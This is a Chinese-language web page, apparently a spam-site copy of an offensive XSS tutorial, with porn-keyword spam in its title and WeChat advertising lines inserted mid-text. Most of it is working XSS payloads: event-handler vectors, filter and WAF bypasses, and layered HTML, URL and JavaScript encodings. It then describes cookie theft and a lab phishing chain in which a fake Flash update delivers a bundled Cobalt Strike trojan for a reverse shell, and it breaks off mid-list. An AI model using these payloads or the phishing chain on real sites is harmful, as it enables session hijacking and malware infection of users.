丝袜人妻一区二区三区_少妇福利无码视频_亚洲理论片在线观看_一级毛片国产A级片

【0061開頭的銀行卡】這一次,終于把XSS理解透徹

XSS簡介

XSS,全稱Cross Site Scripting,即站點間腳本攻擊,是最常見的web應(yīng)用程序安全漏洞。

這類漏洞能夠使得攻擊者嵌入惡意腳本代碼到正常用戶會訪問到的頁面中,當正常用戶訪問該頁面時,則可導致嵌入的惡意腳本代碼的執(zhí)行,從而達到惡意攻擊用戶的目的。需要強調(diào)的是,XSS不僅僅限于JavaScript,還包括flash等其它腳本語言。根據(jù)攻擊代碼的工作方式,XSS可以分為反射型的XSS、存儲型的XSS和DOM型的XSS。

反射型

反射型的XSS是非持久化的,攻擊者事先制作好攻擊鏈接,需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼,但是服務(wù)器中沒有這樣的頁面和內(nèi)容,一般容易出現(xiàn)在搜索頁面。

存儲型

存儲型的XSS是持久化的,代碼是存儲在服務(wù)器中的,如在個人信息或發(fā)表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務(wù)器中,每當有用戶訪問該頁面的時候都會觸發(fā)代碼執(zhí)行。這種XSS非常危險,容易造成蠕蟲,大量盜竊cookie。

DOM型

DOM型的XSS是基于文檔對象模型Document Objeet Model,DOM)的一種漏洞。DOM是一個與平臺、編程語言無關(guān)的接口,它允許程序或腳本動態(tài)地訪問和更新文檔內(nèi)容、結(jié)構(gòu)和樣式,處理后的結(jié)果能夠成為顯示頁面的一部分。DOM中有很多對象,其中一些是用戶可以操縱的,如uRI ,location,refelTer等??蛻舳说哪_本程序可以通過DOM動態(tài)地檢查和修改頁面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務(wù)器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴格確認,就會產(chǎn)生DOM XSS漏洞。例如服務(wù)器端經(jīng)常使用document.boby.innerHtml等函數(shù)動態(tài)生成html頁面,如果這些函數(shù)在引用某些變量時沒有進行過濾或檢查,就會產(chǎn)生DOM型的XSS。DOM型XSS可能是存儲型,也有可能是反射型。

一些常用的標簽與屬性

下面我列舉的標簽大部分是可以自動觸發(fā)js代碼的,無需用戶去交互,大部分情況下我們也是希望是自動觸發(fā)而不是等用戶去觸發(fā)。

scirpt 標簽

<script> 標簽用于定義客戶端腳本,比如 JavaScript。

<script>alert(1);</script> <script>alert("xss");</script>

img 標簽

<img> 標簽定義 HTML 頁面中的圖像。

<img src=1 onerror=alert(1);> <img src=1 onerror=alert("xss");>

input 標簽

<input> 標簽規(guī)定了用戶可以在其中輸入數(shù)據(jù)的輸入字段。

onfocus 事件在對象獲得焦點時發(fā)生:

<input onfocus=alert(1);>

競爭焦點,從而觸發(fā)onblur事件:

<input onblur=alert(1) autofocus><input autofocus>

input 標簽的 autofocus 屬性規(guī)定當頁面加載時 <input> 元素應(yīng)該自動獲得焦點??梢酝ㄟ^autofocus屬性自動執(zhí)行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發(fā)焦點事件,無需用戶去觸發(fā):

<input onfocus="alert(1);" autofocus>

details 標簽

<details> 標簽通過提供用戶開啟關(guān)閉的交互式控件,規(guī)定了用戶可見的或者隱藏的需求的補充細節(jié)。ontoggle 事件規(guī)定了在用戶打開或關(guān)閉 <details> 元素時觸發(fā):

<details ontoggle=alert(1);>

使用details 標簽的 open 屬性觸發(fā)ontoggle事件,無需用戶去點擊即可觸發(fā):

<details open ontoggle=alert(1);>

svg 標簽

<svg> 標簽用來在HTML頁面中直接嵌入SVG 文件的代碼。

<svg onload=alert(1);>

select 標簽

<select> 標簽用來創(chuàng)建下拉列表。

<select onfocus=alert(1)></select>

通過autofocus屬性規(guī)定當頁面加載時元素應(yīng)該自動獲得焦點,這個向量是使焦點自動跳到輸入元素上,觸發(fā)焦點事件,無需用戶去觸發(fā):

<select onfocus=alert(1) autofocus>

iframe 標簽

<iframe> 標簽會創(chuàng)建包含另外一個文檔的內(nèi)聯(lián)框架。

<iframe onload=alert(1);></iframe>

video 標簽

<video> 標簽定義視頻,比如電影片段或其他視頻流。

<video><source onerror=alert(1)>

audio 標簽

<audio> 標簽定義聲音,比如音樂或其他音頻流。

<audio src=x onerror=alert(1);>

body 標簽

<body> 標簽定義文檔的主體。

<body onload=alert(1);>

onscroll 事件在元素滾動條在滾動時觸發(fā)。我們可以利用換行符以及autofocus,當用戶滑動滾動條的時候自動觸發(fā),無需用戶去點擊觸發(fā):

<body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

textarea 標簽

<textarea> 標簽定義一個多行的文本輸入控件。

<textarea onfocus=alert(1); autofocus>

keygen 標簽

<keygen autofocus onfocus=alert(1)> //僅限火狐

marquee 標簽

<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以

isindex 標簽

<isindex type=image src=1 onerror=alert(1)>//僅限于IE +WX:machinegunjoe666免費領(lǐng)取資料

利用 link 遠程包含 JavaScript 文件

<link> 標簽定義文檔與外部資源的關(guān)系。在無CSP的情況下才可以使用:

<link rel=import href=";>

利用 JavaScript 偽協(xié)議

javascript: 這個特殊的協(xié)議類型聲明了URL的主體是任意的javascript代碼,它由javascript的解釋器運行。當瀏覽器裝載了這樣的URL時,并不會轉(zhuǎn)向某個URL,而是執(zhí)行這個URL中包含的javascript代碼,并把最后一條javascript語句的字符串值作為新文檔的內(nèi)容顯示出來。

a 標簽

<a href="javascript:alert(1);">xss</a>

iframe 標簽

<iframe src=javascript:alert(1);></iframe>

img 標簽

<img src=x onerror=alert(1)> <img src=javascript:alert(1)> //IE7以下

form 標簽

<form action="Javascript:alert(1)"><input type=submit>

XSS 常見繞過姿勢

繞過空格過濾

當空格被過濾了時,我們可以用 / 來代替空格:

<img/src="x"/onerror=alert(1);>

也可以:

<img/src="x"onerror=alert(1);>

繞過引號過濾

如果是html標簽中,我們可以不用引號。如果是在js中,我們可以用反引號代替單雙引號:

<img src=x onerror=alert(`xss`);>

繞過括號過濾

當括號被過濾的時候可以使用throw來繞過。throw 語句用于當錯誤發(fā)生時拋出一個錯誤。

<img src=x onerror="javascri;throw 1"> <a onmouseover="javascri;throw 1>

繞過關(guān)鍵字過濾

大小寫繞過

<sCRiPt>alert(1);</sCrIpT> <ImG sRc=x onerRor=alert(1);>

雙寫繞過

有些WAF可能會只替換一次且是替換為空,這種情況下我們可以考慮雙寫關(guān)鍵字繞過

<scrscriptipt>alert(1);</scrscriptipt> <imimgg srsrcc=x onerror=alert(1);>

字符串拼接繞過

利用eval()函數(shù)

與PHP的eval()函數(shù)相同,JavaScript的eval()函數(shù)也可以計算 JavaScript 字符串,并把它作為腳本代碼來執(zhí)行。

<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)"> <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> // 在js中,我們可以用反引號代替單雙引號

利用top

<script>top["al"+"ert"](`xss`);</script> <script>top["al"+"ert"]("xss");</script>

XSS 輸出點總結(jié)

WAF最大的問題,在于不知道輸出的位置,導致攻擊者根據(jù)具體環(huán)境以及具體輸出的標簽類型便可以繞過。

輸出在屬性里

例如輸出的位置位于value屬性中:

<input value="[輸出]" type=text>

我們可以選擇直接閉合標簽:

"><img src=x onerror=alert(1);> // 輸出后如下: // <input value=""><img src=x onerror=alert(1);>" type=text>

如果 < > 被過濾的話可以換成選擇使用事件來閉合屬性,并將后面的引號注釋掉或閉合:

" autofocus onfocus=alert(1)// " autofocus onfocus=alert(1) " // 輸出后如下: // <input value="" autofocus onfocus=alert(1)//" type=text>

同樣還有很多其他的payload:

" onmouseover=prompt(0) x=" " onfocusin=alert(1) autofocus x=" " onfocusout=alert(1) autofocus x=" " onblur=alert(1) autofocus a="

還有一些特殊的場景,如:

<input type="hidden" value="[輸出]" /> <input value="[輸出點]" type="hidden"/>

這里只能把input標簽閉合,然后直接執(zhí)行腳本,否則會因為type為hidden導致無法執(zhí)行腳本。

輸出在HTML標簽之間

例如輸出的位置如下:

<div id="body">[輸出]</div>

直接提交 <script>alert(1)</script> 即可觸發(fā)XSS,但是當標簽是不能執(zhí)行腳本的標簽時,如下面這幾個:

  • <title></title>
  • <textarea></textarea>
  • <xmp></xmp>
  • <iframe></iframe>

那么就得先把那個標簽閉合(后文會講到原理),然后在注入XSS語句,例如:

</textarea><script>alert(1)</script>

輸出在script標簽之間

例如:

<script> var x = "input"; </script>

可控位置在input,可以閉合script標簽插入代碼,但是同樣我們僅僅閉合雙引號就可以執(zhí)行js代碼了:

";alert(1)// // 輸出后如下: // <script>var x = "";alert(1)//";</script>

XSS 字符編碼繞過

在XSS中,還有一個繞過關(guān)鍵字過濾的方法,那就是字符編碼繞過。這里給出一個編碼網(wǎng)站:

編碼屬于計算機系統(tǒng)的基礎(chǔ)知識,其內(nèi)容寫起來估計也可以出本書了,不過或多或少我們都有所了解,總的來說,編碼就是將字符變?yōu)槎M制數(shù),而解碼就是將二進制數(shù)還原為字符。從瀏覽器請求url到在頁面上顯示出來也經(jīng)歷了一些編碼和解碼過程,下面大概介紹一下流程。

請求網(wǎng)頁解碼流程

  • HTML 編碼/解碼

當瀏覽器接收到服務(wù)端發(fā)送來的二進制數(shù)據(jù)后,首先會對其進行HTML解碼,呈現(xiàn)出來的就是我們看到的源代碼。具體的解碼方式依具體情況而定,所以我們需要在頁面中指定編碼,防止瀏覽器按照錯誤的方式解碼,造成亂碼。

但是在HTML中有些字符是和關(guān)鍵詞沖突的,比如 <、>、&,解碼之后,瀏覽器會誤認為它們是HTML標簽,如果希望正確地顯示預留字符,就需要在HTML中使用對應(yīng)的HTML字符實體。

字符實體是一個轉(zhuǎn)義序列,它定義了一般無法在文本內(nèi)容中輸入的單個字符或符號。一個字符實體以一個&符號開頭,后面跟著一個預定義的實體的名稱,或用&#開頭+實體編號+分號來表示。

常見的HTML字符實體有:

顯示結(jié)果

描述

實體名稱

實體編號

空格

?

<

小于號

<

<

>

大于號

>

>

&

和號

&

&

"

引號

"

"

'

撇號

'(IE不支持)

'

但并不是所有的字符都有實體名稱,但是它們都有自己的實體編號。

一個HTML解析器作為一個狀態(tài)機,它從輸入流中獲取字符并按照轉(zhuǎn)換規(guī)則轉(zhuǎn)換到另一種狀態(tài)。在解析過程中,任何時候它只要遇到一個 < 符號(后面沒有跟 /符號)就會進入 標簽開始狀態(tài)(Tag open state) ,然后轉(zhuǎn)變到 標簽名狀態(tài)(Tag name state) 、 前屬性名狀態(tài)(before attribute name state) ......最后進入 數(shù)據(jù)狀態(tài)(Data state) 并釋放當前標簽的token。當解析器處于 數(shù)據(jù)狀態(tài)(Data state) 時,它會繼續(xù)解析,每當發(fā)現(xiàn)一個完整的標簽,就會釋放出一個token。

簡單的說就是,瀏覽器對HTML解碼之后就開始解析HTML文檔,將眾多標簽轉(zhuǎn)化為內(nèi)容樹中的DOM節(jié)點,此時識別標簽的時候,HTML解析器是無法識別那些被實體編碼的內(nèi)容的,只有建立起DOM樹,才能對每個節(jié)點的內(nèi)容進行識別,如果出現(xiàn)實體編碼,則會進行實體解碼,只要是DOM節(jié)點里屬性的值,都可以被HTML編碼和解析。

所以在PHP中,使用htmlspecialchars()函數(shù)把預定義的字符轉(zhuǎn)換為HTML實體,只有等到DOM樹建立起來后,才會解析HTML實體,起到了XSS防護作用。

  • URL 解碼

URL編碼是為了允許URL中存在漢字這樣的非標準字符,本質(zhì)是把一個字符轉(zhuǎn)為%加上UTF-8編碼對應(yīng)的16進制數(shù)字。所以又稱之為Percent-encoding。

在服務(wù)端接收到請求時,會自動對請求進行一次URL解碼。

  • JavaScript 解碼(只支持Unicode)

當HTML解析產(chǎn)生DOM節(jié)點后,會根據(jù)DOM節(jié)點來做接下來的解析工作,比如在處理諸如 <script>、<style> 這樣的標簽時,解析器會自動切換到JavaScript解析模式,而 src、 href 后邊加入的 javascript 偽URL,也會進入 JavaScript 的解析模式。

比如 <a href="javascript:alert('\u0031')">test</a>,JavaScript 出發(fā)了 JavaScript 解釋器,JavaScript 會先對內(nèi)容進行解析,里邊有一個轉(zhuǎn)義字符\u0031,前導的 u 表示他是一個unicode 字符,根據(jù)后邊的數(shù)字,解析為“1”,于是在完成 JavaScript 的解析之后變成了 <a href="javascript:alert('1')">test</a>。

下面用一個普通的XSS代碼來說明一下瀏覽器對其解析的過程。

  • <a href="javascript:alert('xss')">test</a>

首先HTML解析器開始工作,并對href中的字符做HTML解碼,接下來URL解析器對href值進行解碼,正常情況下URL值為一個正常的URL鏈接,如:,那么URL解析器工作完成后是不需要其他解碼的,但是該環(huán)境中URL資源類型為Javascript,因此該環(huán)境中最后一步Javascript解析器還會進行解碼操作,最后解析的腳本將被執(zhí)行。

整個解析順序為3個環(huán)節(jié):HTML解碼 —>URL解碼 —>JS解碼

我們可以對XSS攻擊向量做這三種編碼都可以成功彈框。

HTML 實體編碼

我們可以將DOM節(jié)點中的內(nèi)容轉(zhuǎn)化為HTML實體,因為解析HTML之后建立起節(jié)點,然后會對DOM節(jié)點里面的HTML實體進行解析。HTML 編碼主要分為10進制和16進制,格式為以 &# 開頭以分號 ; 結(jié)尾(也可以不帶分號)。

  • <a href=javascript:alert("xss")>test</a>
// 十進制 <a href=javascript:alert("xss")>test</a> // 十六進制 <a href=javascript:alert("xss")>test</a> // 也可以不帶分號 <a href=javascript:alert("xss")>test</a>
  • <img src=x onerror=alert("xss")>
// 十進制 <img src=x onerror=alert("xss")> // 十六進制 <img src=x onerror=alert("xss")> // 也可以不帶分號 <img src=x onerror=alert("xss")>

但是要注意,對于HTML字符實體,并不是說任何地方都可以使用實體編碼,只有處于 “數(shù)據(jù)狀態(tài)中的字符引用”、“屬性值狀態(tài)中的字符引用” 和 “RCDATA狀態(tài)中的字符引用” 這三種狀態(tài)中的HTML字符實體將會從 &#… 形式解碼,轉(zhuǎn)化成對應(yīng)的解碼字符并被放入數(shù)據(jù)緩沖區(qū)中。

(1)數(shù)據(jù)狀態(tài)中的字符引用:數(shù)據(jù)狀態(tài)就是解析一個標簽內(nèi)里面的內(nèi)容,如 <div>...</div> 中的內(nèi)容,當瀏覽器解析完 <div> 標簽之后如果發(fā)現(xiàn)標簽內(nèi)還含有實體字符的話,就會有一個實體編碼解析了,如:

<div><img src=x onerror=alert("xss")></div>

如下圖,此時在頁面上顯示的是經(jīng)過轉(zhuǎn)義的內(nèi)容:

這看上去是一個標準的標簽語言,但并不會觸發(fā)xss,因為當前HTML解析器處于“數(shù)據(jù)狀態(tài)”,不會轉(zhuǎn)換到“標簽開始狀態(tài)”,所以就不會建立新的標簽。因此,我們能夠利用字符實體編碼這個行為來轉(zhuǎn)義用戶輸入的數(shù)據(jù)從而確保用戶輸入的數(shù)據(jù)只能被解析成“數(shù)據(jù)”而不是XSS攻擊向量。

(2)屬性值狀態(tài)中的字符引用:屬性值狀態(tài)中的字符引用就好理解了,就是src,herf這樣的屬性值中的HTML實體,他也是會先進行HTML解碼的,比如下面的語句,會先對里面HTML解碼,然后再繼續(xù)往下執(zhí)行:

<a href=javascript:alert("xss")>test</a>

(3)RCDATA狀態(tài)中的字符引用:然后再來看一下什么是RCDATA轉(zhuǎn)態(tài),這里需要我們先了解一下HTML中有五類元素:

  1. 空元素(Void elements),如 <area>、<br>、<base> 等等。空元素不能容納任何內(nèi)容,因為它們沒有閉合標簽,沒有內(nèi)容能夠放在開始標簽和閉合標簽中間。
  2. 原始文本元素(Raw text elements),有 <script> 和 <style>。原始文本元素可以容納文本。
  3. RCDATA元素(RCDATA elements),有 <textarea> 和 <title>。RCDATA元素可以容納文本和字符引用。
  4. 外部元素(Foreign elements),例如MathML命名空間或者SVG命名空間的元素。外部元素可以容納文本、字符引用、CDATA段、其他元素和注釋。
  5. 基本元素(Normal elements),即除了以上4種元素以外的元素?;驹乜梢匀菁{文本、字符引用、其他元素和注釋。

注意到RCDATA元素中有 <textarea> 和 <title> 兩個屬性并且有字符引用,也就是當實體字符出現(xiàn)在這兩個標簽里面的時候,實體字符會被識別并進行HTML編碼解析。這里要再提醒一次,在解析這些字符引用的過程中不會進入“標簽開始狀態(tài)”,所以就不會建立新的標簽,所以下面這個語句觸發(fā)不了XSS:

<textarea><script>alert("xss")</script></textarea>

但是如果直接放進去標簽的內(nèi)容呢,不帶轉(zhuǎn)義字符呢,如下:

<textarea><script>alert("xss")</script></textarea>

同樣也是不會觸發(fā)XSS的:

這涉及到了RCDATA的一個特殊的情況。即在瀏覽器解析RCDATA元素的過程中,解析器會進入“RCDATA狀態(tài)”。在這個狀態(tài)中,如果遇到“<”字符,它會轉(zhuǎn)換到“RCDATA小于號狀態(tài)”。如果“<”字符后沒有緊跟著“/”和對應(yīng)的標簽名,解析器會轉(zhuǎn)換回“RCDATA狀態(tài)”,并不會進入“標簽開始狀態(tài)”的。這意味著在RCDATA元素標簽的內(nèi)容中,唯一能夠被解析器認做是標簽的就只有 </textarea> 或者 </title>,因此,在 <textarea> 和 <title> 的內(nèi)容中不會創(chuàng)建標簽,就不會有腳本能夠執(zhí)行了。

另外還有一點要注意:我們從上面HTML的五類元素中還發(fā)現(xiàn)有一個原始文本元素 <script> 在這個標簽內(nèi)容納的是文本,所以瀏覽器在解析到這個標簽后,里面內(nèi)容中的HTML編碼并不會被認為是HTML實體引用,所以并不會被解碼為相應(yīng)的字符。瀏覽器看不懂中間這堆編碼是和啥東西,所以也不會被執(zhí)行,如下:

<script>alert("xss")</script>

那么如何才能讓里面的內(nèi)容進行轉(zhuǎn)義并執(zhí)行彈窗呢,這里需要利用到XSS的一個黑魔法——“svg”,我們下文中會提及。

URL編碼

我們可以并將src或href屬性中的內(nèi)容進行URL編碼,當HTML解析器對src或href中的字符完成HTML解碼后,接下來URL解析器會對src或href中的值進行URL解碼。

<a href="...">xx</a> <iframe src="...">

下面給出幾個實例。

  • <a href=javascript:alert("xss")>test</a>
<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>
  • <iframe src=javascript:alert("xss")></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe>

注意,偽協(xié)議頭 javascript: 是不能進行編碼的。這里就有一個URL解析過程中的一個細節(jié)了,即不能對協(xié)議類型進行任何的編碼操作,否則URL解析器會認為它無類型,就會導致DOM節(jié)點中被編碼的“javascript”沒有被解碼,當然不會被URL解析器識別了。就比如說 可以被URL編碼為 http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d,但是不能把協(xié)議也進URL編碼:%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d 。

但是偽協(xié)議頭 javascript: 可以進行HTML編碼。

Javascript 編碼

我們可以將DOM節(jié)點中的內(nèi)容轉(zhuǎn)化為 Javascript 編碼。當HTML解析產(chǎn)生DOM節(jié)點后,會根據(jù)DOM節(jié)點來做接下來的解析工作,比如在處理諸如 <script>、<style> 這樣的標簽時,解析器會自動切換到JavaScript解析模式,而 src、 href 后邊加入的 javascript 偽URL,也會進入 JavaScript 的解析模式。

Javascript 中可以識別的編碼類型有:

  • Unicode 編碼
  • 八進制編碼
  • 十六進制編碼

一般情況下我們使用Unicode編碼的比較廣泛,而八進制和十六進制只有在DOM環(huán)境或eval()等函數(shù)中才可以用。

Unicode 編碼

  • <script>alert("xss")</script>
<script>\u0061\u006C\u0065\u0072\u0074("xss")</script> <script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script>
  • <a href=javascript:alert("xss")>test</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a> <a href=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a>

但要注意,我們同樣也不能對偽協(xié)議頭 javascript: 進行 Javascript 編碼。并且像圓括號、雙引號、單引號這樣的符號我們也不能進 Javascript 編碼,但是能進行HTML編碼。

在DOM環(huán)境中的JavaScript編碼

對于八進制編碼和十六進制編碼,與 Unicode 編碼還是有區(qū)別,像下面的XSS向量是不能直接執(zhí)行的:

  • <script>alert("xss")</script>
<script>\141\154\145\162\164("xss")</script>
  • <a href=javascript:alert("xss")>test</a>
<a href=javascript:\x61\x6c\x65\x72\x74("xss")>test</a>

如下圖,插入之后沒有任何反應(yīng):

要想讓他們能夠執(zhí)行我們要將他們放在DOM環(huán)境中,即DOM型的XSS。

測試代碼:

<div id='s'>test</div> <script> var search = "..."; document.getElementById('s').innerHTML = search; </script>

以上情況很多都是出現(xiàn)在你搜索后,顯示你所查詢的關(guān)鍵字,變量 search 是一個可控點,當我們查詢一個XSS攻擊向量后,變量 search 就會被賦值為這個XSS向量,從而插入到div標簽中觸發(fā)XSS,如下所示:

<div id='s'>test</div> <script> var search = "<iframe src=javascript:alert('xss')></iframe>"; document.getElementById('s').innerHTML = search; </script> +WX:machinegunjoe666免費領(lǐng)取資料

此時如果過濾了 <、>、'、"、&、% 等等這些字符的話,我們便可以用JavaScript編碼的方法將XSS向量全部編碼,即 <iframe src=javascript:alert('xss')></iframe> 的以下編碼都可以彈窗:

// Unicode編碼 \u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E // 八進制編碼 \74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76 // 十六進制編碼 \x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e

還有一種讓八進制和十六進制編碼的XSS攻擊向量執(zhí)行的方式便是將XSS向量放在某個能把字符串當做JavaScript代碼來執(zhí)行的函數(shù)里,比如eval()、setTimeout()、setInterval()等函數(shù)。如下示例:

  • <script>alert("xss")</script>
<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script>
  • <a href=javascript:alert("xss")>test</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a>
  • <img src=x onerror=alert("xss")>
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

或者也可以直接將一整段js代碼編碼后放入eval()函數(shù)中執(zhí)行。

混合編碼

混合編碼就是對一個XSS向量同時進行多種編碼,如下示例:

  • <a href=javascript:alert("xss")>test</a>
// 對javascript:進行HTML編碼, 對alert("xss")進行URL編碼 <a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a> // 對javascript:進行HTML編碼, 對alert進行Unicode編碼 <a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>

也可以利用解碼順序進行混合編碼,如下示例:

  • <a href=javascript:alert("xss")>test</a>

首先對“alert”進行JavaScript Unicode編碼:

<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>

然后再對 \u0061\u006c\u0065\u0072\u0074 進行URL編碼:

<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>

最后對標簽中的 javascript:%5c%75...%37%34("xss") 整體進行HTML編碼即可:

<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>

SVG:XSS的一個黑魔法

我們在上文HTML編碼那里最后留了一個坑,即HTML的五類元素中,像 <script>、<style> 這樣的原始文本元素在這個標簽內(nèi)容納的是文本,所以瀏覽器在解析到這個標簽后,里面內(nèi)容中的HTML編碼并不會被認為是HTML實體引用,所以并不會被解碼為相應(yīng)的字符。

也就是說,向下面這樣的代碼,瀏覽器不會對其中的HTML實體字符進行解碼,也就不會執(zhí)行并觸發(fā)XSS了:

<script>alert("xss")</script> <script>alert(1)</script> <script>alert(1)</script>

那如何繞過HTML原始文本元素進而執(zhí)行HTML實體解碼呢,這涉及到了 <svg> 的魔力,那是一種特殊的觸發(fā)效果,單純script標簽內(nèi)加載html實體編碼,只會當做文本,沒有任何觸發(fā)結(jié)果,如下圖:

但是當在前面加上 <svg> 后,卻成功彈窗了:

<svg><script>alert("xss")</script> <svg><script>alert(1)</script> <svg><script>alert(1)</script>

這是為什么呢?

是因為 <svg> 標簽屬于HTML五大元素中的外部元素,可以容納文本、字符引用、CDATA段、其他元素和注釋,也就是說在解析到<svg> 標簽時,瀏覽器就開始使用一套新的標準開始解析后面的內(nèi)容,直到碰到閉合標簽</svg>。而在這一套新的標準遵循XML解析規(guī)則,在XML解析中,實體編碼會自動解碼成相應(yīng)的字符,重新來一遍標簽開啟狀態(tài),此時就會執(zhí)行XSS了。如下圖,彈窗后我們查看頁面源碼。發(fā)現(xiàn)原本不能被HTML解碼的內(nèi)容被 <svg> 標簽自動解碼了:

[CISCN2019 華東北賽區(qū)]Web2 這道題運用的就是這個知識點。

XSS 測試流程思路

下面讓我們來看一下XSS繞過的測試流程。

現(xiàn)實中,大多數(shù)的場所是用的黑名單來做XSS過濾器的,有三種方式繞過黑名單的測試:

  1. 暴力測試(輸入大量的payload,看返回結(jié)果)
  2. 根據(jù)正則推算
  3. 利用瀏覽器bug

初步測試

(1)嘗試插入比較正常的HTML標簽,例如:<a>、<b>、<i>、<u> 等,來看一下返回頁面的情況是怎樣的,是否被HTML編碼了,或者標簽被過濾了。

(2)嘗試插入不閉合的標簽,例如:<a、<b、i>、u>、<img 等,然后看一下返回響應(yīng),是否對開放的標簽也有過濾。

(3)然后測試幾種常見的XSS向量:

<script>alert(1)</script> <script>prompt(1)</script> <script>confirm(1)</script> ......

看返回響應(yīng),是過濾的全部,還是只過濾了部分,是否還留下了 alert、prompt、confirm 等字符,再嘗試大小寫的組合:

<scRiPt>alert(1);</scrIPt>

(4)如果過濾器僅僅是把 <script> 和 </script> 標簽過濾掉,那么可以用雙寫的方式來繞過:

<scr<script>ipt>alert(1)</scr<script>ipt>

這樣當 <script> 標簽被過濾掉后,剩下的組合起來剛好形成一個完整的向量。

(5)用 <a href 標簽來測試,看返回響應(yīng)

<a href="">click</a>

看看 <a 標簽是否被過濾,href 是否被過濾,href里的數(shù)據(jù)是否被過濾了。如果沒有數(shù)據(jù)被過濾,插入javascript偽協(xié)議看看:

<a href="javascript:alert(1)">click</a>

看是否返回錯誤,javascript的整個協(xié)議內(nèi)容是否都被過濾掉,還是只過濾了javascript字符。

繼續(xù)測試事件觸發(fā)執(zhí)行javascript:

<a href=x onmouseover=alert(1)>ClickHere</a>

看onmouseover事件是否被過濾。

測試一個無效的事件,看看他的過濾規(guī)則:

<a href=x onclimbatree=alert(1)>ClickHere</a>

是完整的返回了呢,還是跟onmouseover一樣被干掉了。如果是完整的返回的話,那么就意味著,做了事件的黑名單,但是在HTML5中,有超過150種的方式來執(zhí)行javascript代碼的事件,我們可以選用別的事件。測試一個很少見的事件:

<body onhashchange=alert(1)><a href=#>click</a>

onhashchange 事件在當前 URL 的錨部分(以 '#' 號為開始) 發(fā)生改變時觸發(fā) 。

測試其他標簽和屬性

HTML的標簽和屬性太多了,上文中已經(jīng)列出了很多了。

XSS 攻擊面拓展

利用 XSS 釣魚

通過 XSS 盜取 Cookie

Cookie盜取是xss攻擊中最實用也是最廣泛的一種利用方式之一。我們知道Cookie是Web系統(tǒng)識別用戶的身份和保存會話狀態(tài)的主要機制,且是由服務(wù)器提供的、存儲在客戶端的一種數(shù)據(jù)。同時,對于cookie的操作十分的方便,我們可以通過Document對象訪問Cookie。最簡單的比如:<script>aler)</script> ,執(zhí)行后會彈出當前頁面的cookie信息。在目標沒有“同源策略”的保護下,我們可以利用XSS盜取目標網(wǎng)站管理員的Cookie。

在一般的通用CMS下呢,為了通用模板的兼容性,許多CMS本身不會使用“同源策略”等其他手段來防護XSS漏洞,而是使用自建的過濾函數(shù)來處理,在這種情況下,一旦出現(xiàn)XSS漏洞,我們就可以直接獲取目標的Cookie然后使用特定的方法來傳輸cookie。

這里,我們可以利用網(wǎng)上現(xiàn)成的或自己搭建的XSS平臺來完成利用過程。

Flash 彈窗釣魚

之前看過很多大佬使用XSS漏洞彈出Flash的更新頁面進行釣魚的操作。今天我們終于有機會來演示一下了。

其原理就是通過XSS漏洞,彈出Flash更新請求誘使用戶點擊,使用戶跳轉(zhuǎn)到設(shè)置好的釣魚頁面(偽造好的Flash更新頁面),下載偽造的Flash組件(木馬程序)并執(zhí)行,最終實現(xiàn)反彈Shell上線CS,完成釣魚攻擊。下面我們搭建環(huán)境進行演示。

實驗環(huán)境:

主機環(huán)境:

  • 攻擊機kali:192.168.0.182
  • 受害機:192.168.0.125

工具環(huán)境:

  • WeBug4.0
  • Flash 官網(wǎng)源碼

(1)制作 CS 捆綁木馬

這里我們選擇制作WinRAR自解壓捆綁木馬,將 CS 木馬與真正的Flash更新程序捆綁在一起,詳情參考我的文章:《釣魚攻擊:制作WinRAR自解壓捆綁木馬進行釣魚攻擊》

(2)搭建Flash釣魚頁面

首先我們需要在kali上搭建一個釣魚頁面,需要下載Flash官方頁面的源碼進行修改。這里有兩個項目可以選擇:

  • 項目一地址:

該項目是模仿的 Flash Player 中文官網(wǎng)的頁面:

需要在index.html中的加入我們制作的木馬的鏈接地址:

  • 項目二地址:

